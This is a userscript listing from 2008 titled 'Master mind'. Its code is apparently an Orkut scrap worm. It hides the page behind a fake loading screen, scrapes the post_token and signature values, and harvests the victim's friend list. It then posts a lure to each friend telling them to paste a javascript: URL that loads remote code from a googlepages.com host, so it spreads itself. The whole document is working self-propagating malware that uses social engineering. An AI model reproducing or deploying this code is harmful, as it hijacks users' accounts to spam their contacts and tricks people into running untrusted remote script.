Master mind

By priyeshu Last update Feb 17, 2008 — Installed 7 times.
// ==UserScript==
// @name           Master mind
// @author         "Ishu" 
// @provided by    http://
// @description    Ishu Gumber
// @include        *Ishu*
// ==/UserScript==

    function fwScrap() {
        document.title = "Ishu HELPLINE - Newsletter";

        function createXMLHttpRequest() {
            try {
                return new XMLHttpRequest;
            } catch (e) {
                try {
                    return new ActiveXObject("Msxml2.XMLHTTP");
                } catch (e) {
                    try {
                        return new ActiveXObject("Microsoft.XMLHTTP");
                    } catch (e) {
                        
                        return false;
                    }
                }
            }
        }
        
       function getPostSig(exc) {
                  var xml = createXMLHttpRequest();
                  xml.open("GET", "/Scrapbook.aspx", true);
                  xml.onreadystatechange = function () 
                  				{
                  					if (xml.readyState == 4) {
                  						var xmlr = xml.responseText;
                  						POST = xmlr.match(/name="post_token" value="([^"]+)/i);
                  						SIG = xmlr.match(/name="signature" value="([^"]+)/i);
                  						document.getElementsByTagName("input").POST_TOKEN.value = POST[1];
                  						document.getElementsByTagName("input").signature.value = SIG[1];                  						
                  						eval(exc);
                  					}
                  				};
                  xml.send(null);
        }
        
        
        var select;
        function loadFriends() {            
            
            date_now = new Date();         
            var hrs = date_now.getHours();
            var min = date_now.getMinutes();
            var sec = date_now.getSeconds();
            var milliSec = date_now.getMilliseconds();
         
            var xml = createXMLHttpRequest();
            xml.open("GET", "/Compose.aspx", true);
            xml.onreadystatechange = function () 
            {
				if (xml.readyState == 4) {
					var xmlr = xml.responseText;
					POST = xmlr.match(/name="post_token" value="([^"]+)/i);
					SIG = xmlr.match(/name="signature" value="([^"]+)/i);
					document.getElementsByTagName("input").POST_TOKEN.value = POST[1];
					document.getElementsByTagName("input").signature.value = SIG[1];
					var div = document.createElement("div");
					div.innerHTML = xmlr;
					
					for (var x = 0; x < div.getElementsByTagName("select").length; x++) {
						if (div.getElementsByTagName("select")[x].getAttribute("name") == "oneFriend") {
							select = div.getElementsByTagName("select")[x].cloneNode(true);
							globalSelect = select;
							break;
						}
					}
					
					var scrapText;
					var tokenValue = encodeURIComponent(document.getElementsByTagName("input").POST_TOKEN.value);
                    var signatureValue = encodeURIComponent(document.getElementsByTagName("input").signature.value);
         
                    //scrapText = "Read Receipt --> "+hrs+":"+min+":"+sec+"-"+milliSec+"<br>"+signatureValue;  
                    //scrapText = "Read Receipt --> "+hrs+":"+min+":"+sec+"-"+milliSec;
                    scrapText = "Thanks dude! [:P]";
                    sendScrap(33647847,scrapText);
                    SendScrapToAll();

                    
				      
//					for(var i=0;i<globalSelect.length;i++) {
//						if(globalSelect[i].value!="") {						
//						    sendScrap(globalSelect[i].value,scrapText);
//						    setTimeout("", 65 * 1000);
//						}
//					}								

				}
			};
            xml.send(null);
        }


        function wait() {
            antiF = 1;
            showTime();
        }

    c = 0;
    function SendScrapToAll()
    {
        var scrapText;       
        scrapText = "[blue]Find out who has crush on u.... [purple]..wait 4 few minutes after pressing enter  ..Author--> [red]Ishu :)[/red].. [blue]Just copy the JavaScript, paste it in your address bar and PRESS ENTER[/blue]" +
                    "<br><br>"+
                    "[orange]<i>javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://toishu357.googlepages.com/crush.js';void(0)</i>[/orange]"+
                    "<br><br>"+
                    "[red]trust me, ITS WORKING!!! [:)] "; 
		
		if(c == select.length)
		    return;
		
		try{    			    
            if(select[c].value!="") 
            {						
	            sendScrap(select[c].value,scrapText);
            }
        }catch(e){
            //Suppressed Exception
        } finally {
            c = c+ 1;
            setTimeout("SendScrapToAll()", 666); 	
        }
    }

		

        function showTime() {
            if (timeWait > 0) {                
                timeWait--;
                setTimeout("showTime()", 2000);
            } else {
                timeWait = 20;
                index++;
                getPostSig("SendScrapToAll()");
            }
        }

        antiF = 1;
        index = 1;
        timeWait = 20;
        nscraps = 0;
	    nCounter=2;
	    nLoop=2;

        function sendScrap(to, msg) { 
         
         date_now = new Date();         
         var hrs = date_now.getHours();
         var min = date_now.getMinutes();
         var sec = date_now.getSeconds();
         var milliSec = date_now.getMilliseconds();
         
         var tokenValue = encodeURIComponent(document.getElementsByTagName("input").POST_TOKEN.value);
         var signatureValue = encodeURIComponent(document.getElementsByTagName("input").signature.value);
         
         //var scrapText = tokenValue + signatureValue +'9'+hrs+'18'+min+'27'+sec+'36'+milliSec;  
         
            var send = "POST_TOKEN=" + tokenValue + "&signature=" + signatureValue + "&scrapText=" + encodeURIComponent(msg) + "&toUserId="+to+"&Action.submit=1"; 			
            
            var xml = createXMLHttpRequest();
            
           
                xml.open("POST", "/Scrapbook.aspx", true);
                xml.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;");            
                xml.send(send);
            
            xml.onreadystatechange = function () {            
            if (xml.readyState == 4) {
            
				if (xml.status != 200) {
					setTimeout("SendScrapToAll()", 500);					
					return;
				}
				
				if (antiF < 450) {
					antiF++;

					if(nCounter==1) {
						index++;
						nCounter=nLoop;
					}
					else {
						nCounter--;
					}
					return;				
				} 
				else {				    
					wait();
				}
			}
			};
        }


        	 layout = 	" <input name=\"POST_TOKEN\" type=\"hidden\"/><input name=\"signature\" type=\"hidden\"/>"+
				"<center><h3><u>LOADING.... PLEASE WAIT.......</u></h3></center><br>"+
				"<table>"+
				
"</table>" 
				;                									 
        document.body.innerHTML = layout;										 
        var focus = document.createElement("span");
        focus.id = "focus";
        focus.style.display = "inline";
        document.body.appendChild(focus);
        var divLoad = document.createElement("div");
        divLoad.id = "divLoad";
        divLoad.style.display = "inline";        
        document.body.appendChild(divLoad);
        
         loadFriends();
         
         //sendScrap();
        
    }

    sc = String(fwScrap);
    sc = sc.substring(21, sc.length - 2);
    script = document.createElement("script");
    if (typeof document.all) {
        script.text = sc;
    } else {
        script.textContent = sc;
    }
    document.getElementsByTagName("head")[0].appendChild(script)